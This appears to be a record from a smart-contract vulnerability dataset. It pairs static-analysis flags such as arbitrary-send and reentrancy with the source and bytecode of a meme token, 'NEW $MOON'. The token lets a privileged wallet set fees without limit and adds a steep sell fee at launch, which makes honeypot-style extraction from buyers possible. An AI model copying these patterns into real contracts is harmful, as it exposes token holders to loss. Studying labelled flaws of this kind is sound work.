518110610d2b57610d2b611b74565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da89190611bbb565b81600181518110610dbb57610dbb611b74565b6001600160a01b039283166020918202929092010152600b54610de19130911684610e5d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1a908590600090869030904290600401611bf0565b600060405180830381600087803b158015610e3457600080fd5b505af1158015610e48573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ebf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610f205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b0382166110475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b600081116110a95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b6001600160a01b03831660009081526005602052604090205460ff16156111515760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f8565b6001600160a01b03831660009081526004602052604081205460ff1615801561119357506001600160a01b03831660009081526004602052604090205460ff16155b80156111a95750600c54600160a81b900460ff16155b80156111d95750600c546001600160a01b03858116911614806111d95750600c546001600160a01b038481169116145b156113b557600c54600160b81b900460ff166112375760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f8565b50600c546001906001600160a01b0385811691161480156112665750600b546001600160a01b03848116911614155b8015611273575042600e54115b156112ba576000611283846109cb565b90506112a3606461129d670de0b6b3a764000060036114d5565b90611554565b6112ad8483611596565b11156112b857600080fd5b505b600d544214156112e8576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f3306109cb565b600c54909150600160b01b900460ff1615801561131e5750600c546001600160a01b03868116911614155b156113b35780156113b357600c546113529060649061129d90600f9061134c906001600160a01b03166109cb565b906114d5565b81111561137f57600c5461137c9060649061129d90600f9061134c906001600160a01b03166109cb565b90505b6000611391600d61129d8460046114d5565b905061139d8183611c61565b91506113a8816115f5565b6113b182610ce3565b505b505b6113c184848484611625565b50505050565b600081848411156113eb5760405162461bcd60e51b81526004016104f8919061190e565b5060006113f88486611c61565b95945050505050565b60006006548211156114685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b6000611472611728565b905061147e8382611554565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114e45750600061052b565b60006114f08385611c78565b9050826114fd8583611c97565b1461147e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b600061147e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174b565b6000806115a38385611bd8565b90508381101561147e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b600c805460ff60b01b1916600160b01b1790556116153061dead83610f81565b50600c805460ff60b01b19169055565b808061163357611633611779565b60008060008061164287611795565b6001600160a01b038d166000908152600160205260409020549397509195509350915061166f90856117dc565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461169e9084611596565b6001600160a01b0389166000908152600160205260409020556116c08161181e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170591815260200190565b60405180910390a3505050508061172157611721600954600855565b5050505050565b6000806000611735611868565b90925090506117448282611554565b9250505090565b6000818361176c5760405162461bcd60e51b81526004016104f8919061190e565b5060006113f88486611c97565b60006008541161178857600080fd5b6008805460095560009055565b6000806000806000806117aa876008546118a8565b9150915060006117b8611728565b90506000806117c88a85856118d5565b909b909a5094985092965092945050505050565b600061147e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c7565b6000611828611728565b9050600061183683836114d5565b306000908152600160205260409020549091506118539082611596565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118838282611554565b82101561189f57505060065492670de0b6b3a764000092509050565b90939092509050565b600080806118bb606461129d87876114d5565b905060006118c986836117dc565b96919550909350505050565b600080806118e386856114d5565b905060006118f186866114d5565b905060006118ff83836117dc565b92989297509195505050505050565b600060208083528351808285015260005b8181101561193b5785810183015185820160400152820161191f565b8181111561194d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051757600080fd5b803561198381611963565b919050565b6000806040838503121561199b57600080fd5b82356119a681611963565b946020939093013593505050565b6000806000606084860312156119c957600080fd5b83356119d481611963565b925060208401356119e481611963565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1e57600080fd5b823567ffffffffffffffff80821115611a3657600080fd5b818501915085601f830112611a4a57600080fd5b813581811115611a5c57611a5c6119f5565b8060051b604051601f19603f83011681018181108582111715611a8157611a816119f5565b604052918252848201925083810185019188831115611a9f57600080fd5b938501935b82851015611ac457611ab585611978565b84529385019392850192611aa4565b98975050505050505050565b600060208284031215611ae257600080fd5b813561147e81611963565b60008060408385031215611b0057600080fd5b8235611b0b81611963565b91506020830135611b1b81611963565b809150509250929050565b600060208284031215611b3857600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb457611bb4611b8a565b5060010190565b600060208284031215611bcd57600080fd5b815161147e81611963565b60008219821115611beb57611beb611b8a565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c405784516001600160a01b031683529383019391830191600101611c1b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c7357611c73611b8a565b500390565b6000816000190483118215151615611c9257611c92611b8a565b500290565b600082611cb457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058c01915bb780c3210c16cf5a5e29a6614a52ec01cc894333b56cab6877c216d64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,113
0xf9fb1809327908649de7a29f505972de29809580
//SPDX-License-Identifier: UNLICENSED //Missed $MOON here is NEW $MOON LFG pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NEWMOON is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1000000000 * 10**decimals; string public constant name = unicode"NEW $MOON"; string public constant symbol = unicode"🌚NEW $MOON🌚"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 3; uint public _sellFee = 3; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (300 seconds)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (15 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (1 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (1 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (5 minutes)) { fee += 15; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = _totalSupply * 1 / 100; _maxHeldTokens = _totalSupply * 3 / 100; } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610576578063dcb0e0ad1461058b578063dd62ed3e146105ab578063e8078d94146105f157600080fd5b8063a9059cbb14610516578063b2131f7d14610536578063c3c8cd801461054c578063c9567bf91461056157600080fd5b8063715018a6116100d1578063715018a6146104865780638da5cb5b1461049b57806394b8d8f2146104b957806395d89b41146104d957600080fd5b8063509016171461041b578063590f897e1461043b5780636fc3eaec1461045157806370a082311461046657600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103a557806340b9a54b146103c557806345596e2e146103db57806349bd5a5e146103fb57600080fd5b806327f3a72a1461031b578063313ce5671461033057806332d873d814610357578063367c55441461036d57600080fd5b80630b78f9c0116101b65780630b78f9c0146102b057806318160ddd146102d05780631940d020146102e557806323b872dd146102fb57600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f61461025e578063095ea7b31461028057600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b50610251604051806040016040528060098152602001682722ab901226a7a7a760b91b81525081565b60405161021391906119aa565b34801561026a57600080fd5b5061027e610279366004611a14565b610606565b005b34801561028c57600080fd5b506102a061029b366004611a31565b61067b565b6040519015158152602001610213565b3480156102bc57600080fd5b5061027e6102cb366004611a5d565b610692565b3480156102dc57600080fd5b506102096106f9565b3480156102f157600080fd5b50610209600e5481565b34801561030757600080fd5b506102a0610316366004611a7f565b61071a565b34801561032757600080fd5b50610209610802565b34801561033c57600080fd5b50610345600981565b60405160ff9091168152602001610213565b34801561036357600080fd5b50610209600f5481565b34801561037957600080fd5b5060085461038d906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103b157600080fd5b5060075461038d906001600160a01b031681565b3480156103d157600080fd5b50610209600a5481565b3480156103e757600080fd5b5061027e6103f6366004611ac0565b61080d565b34801561040757600080fd5b5060095461038d906001600160a01b031681565b34801561042757600080fd5b5061027e610436366004611a14565b6108a7565b34801561044757600080fd5b50610209600b5481565b34801561045d57600080fd5b5061027e610915565b34801561047257600080fd5b50610209610481366004611a14565b610942565b34801561049257600080fd5b5061027e61095d565b3480156104a757600080fd5b506000546001600160a01b031661038d565b3480156104c557600080fd5b506010546102a09062010000900460ff1681565b3480156104e557600080fd5b5061025160405180604001604052806011815260200170784fc64d2722ab901226a7a7a7784fc64d60791b81525081565b34801561052257600080fd5b506102a0610531366004611a31565b6109d1565b34801561054257600080fd5b50610209600c5481565b34801561055857600080fd5b5061027e6109de565b34801561056d57600080fd5b5061027e610a14565b34801561058257600080fd5b50610209610b06565b34801561059757600080fd5b5061027e6105a6366004611ae7565b610b1e565b3480156105b757600080fd5b506102096105c6366004611b04565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105fd57600080fd5b5061027e610b91565b6007546001600160a01b0316336001600160a01b03161461062657600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610688338484610eec565b5060015b92915050565b6007546001600160a01b0316336001600160a01b0316146106b257600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006107076009600a611c37565b61071590633b9aca00611c46565b905090565b60105460009060ff16801561074857506001600160a01b03831660009081526004602052604090205460ff16155b801561076157506009546001600160a01b038581169116145b156107b0576001600160a01b03831632146107b05760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107bb848484611010565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107ea908490611c65565b90506107f7853383610eec565b506001949350505050565b600061071530610942565b6007546001600160a01b0316336001600160a01b03161461082d57600080fd5b600081116108725760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107a7565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610670565b6008546001600160a01b0316336001600160a01b0316146108c757600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610670565b6007546001600160a01b0316336001600160a01b03161461093557600080fd5b4761093f81611609565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109875760405162461bcd60e51b81526004016107a790611c7c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610688338484611010565b6007546001600160a01b0316336001600160a01b0316146109fe57600080fd5b6000610a0930610942565b905061093f8161168e565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b81526004016107a790611c7c565b60105460ff1615610a8b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107a7565b6010805460ff1916600117905542600f556064610aaa6009600a611c37565b610ab890633b9aca00611c46565b610ac3906001611c46565b610acd9190611cb1565b600d556064610ade6009600a611c37565b610aec90633b9aca00611c46565b610af7906003611c46565b610b019190611cb1565b600e55565b600954600090610715906001600160a01b0316610942565b6007546001600160a01b0316336001600160a01b031614610b3e57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610670565b6000546001600160a01b03163314610bbb5760405162461bcd60e51b81526004016107a790611c7c565b60105460ff1615610c085760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107a7565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c553082610c426009600a611c37565b610c5090633b9aca00611c46565b610eec565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb79190611cd3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d289190611cd3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d999190611cd3565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610dc981610942565b600080610dde6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e46573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e6b9190611cf0565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ec4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee89190611d1e565b5050565b6001600160a01b038316610f4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a7565b6001600160a01b038216610faf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a7565b6001600160a01b0382166110d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a7565b600081116111385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a7565b600080546001600160a01b0385811691161480159061116557506000546001600160a01b03848116911614155b156115aa576009546001600160a01b03858116911614801561119557506006546001600160a01b03848116911614155b80156111ba57506001600160a01b03831660009081526004602052604090205460ff16155b156114465760105460ff166112115760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107a7565b600f5442036112505760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107a7565b42600f5461012c6112619190611d3b565b11156112db57600e5461127384610942565b61127d9084611d3b565b11156112db5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107a7565b6001600160a01b03831660009081526005602052604090206001015460ff16611343576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f54600f6113539190611d3b565b111561142757600d548211156113ab5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107a7565b6113b6426001611d3b565b6001600160a01b038416600090815260056020526040902054106114275760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107a7565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff16158015611460575060105460ff165b801561147a57506009546001600160a01b03858116911614155b156115aa5761148a426001611d3b565b6001600160a01b038516600090815260056020526040902054106114fc5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107a7565b600061150730610942565b905080156115935760105462010000900460ff161561158a57600c546009546064919061153c906001600160a01b0316610942565b6115469190611c46565b6115509190611cb1565b81111561158a57600c5460095460649190611573906001600160a01b0316610942565b61157d9190611c46565b6115879190611cb1565b90505b6115938161168e565b4780156115a3576115a347611609565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806115ec57506001600160a01b03841660009081526004602052604090205460ff165b156115f5575060005b6116028585858486611802565b5050505050565b6007546001600160a01b03166108fc611623600284611cb1565b6040518115909202916000818181858888f1935050505015801561164b573d6000803e3d6000fd5b506008546001600160a01b03166108fc611666600284611cb1565b6040518115909202916000818181858888f19350505050158015610ee8573d6000803e3d6000fd5b6010805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116d2576116d2611d53565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561172b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174f9190611cd3565b8160018151811061176257611762611d53565b6001600160a01b0392831660209182029290920101526006546117889130911684610eec565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117c1908590600090869030904290600401611d69565b600060405180830381600087803b1580156117db57600080fd5b505af11580156117ef573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061180e8383611824565b905061181c8686868461186b565b505050505050565b600080831561186457821561183c5750600a54611864565b50600b54600f5461184f9061012c611d3b565b42101561186457611861600f82611d3b565b90505b9392505050565b6000806118788484611948565b6001600160a01b03881660009081526002602052604090205491935091506118a1908590611c65565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546118d1908390611d3b565b6001600160a01b0386166000908152600260205260409020556118f38161197c565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161193891815260200190565b60405180910390a3505050505050565b6000808060646119588587611c46565b6119629190611cb1565b905060006119708287611c65565b96919550909350505050565b30600090815260026020526040902054611997908290611d3b565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156119d7578581018301518582016040015282016119bb565b818111156119e9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461093f57600080fd5b600060208284031215611a2657600080fd5b8135611864816119ff565b60008060408385031215611a4457600080fd5b8235611a4f816119ff565b946020939093013593505050565b60008060408385031215611a7057600080fd5b50508035926020909101359150565b600080600060608486031215611a9457600080fd5b8335611a9f816119ff565b92506020840135611aaf816119ff565b929592945050506040919091013590565b600060208284031215611ad257600080fd5b5035919050565b801515811461093f57600080fd5b600060208284031215611af957600080fd5b813561186481611ad9565b60008060408385031215611b1757600080fd5b8235611b22816119ff565b91506020830135611b32816119ff565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b8e578160001904821115611b7457611b74611b3d565b80851615611b8157918102915b93841c9390800290611b58565b509250929050565b600082611ba55750600161068c565b81611bb25750600061068c565b8160018114611bc85760028114611bd257611bee565b600191505061068c565b60ff841115611be357611be3611b3d565b50506001821b61068c565b5060208310610133831016604e8410600b8410161715611c11575081810a61068c565b611c1b8383611b53565b8060001904821115611c2f57611c2f611b3d565b029392505050565b600061186460ff841683611b96565b6000816000190483118215151615611c6057611c60611b3d565b500290565b600082821015611c7757611c77611b3d565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082611cce57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611ce557600080fd5b8151611864816119ff565b600080600060608486031215611d0557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d3057600080fd5b815161186481611ad9565b60008219821115611d4e57611d4e611b3d565b500190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611db95784516001600160a01b031683529383019391830191600101611d94565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e7dc0f9dd7ab725895fc0356aa04ff221f1b46c967e0021bb9e11fb76b81c60264736f6c634300080d0033
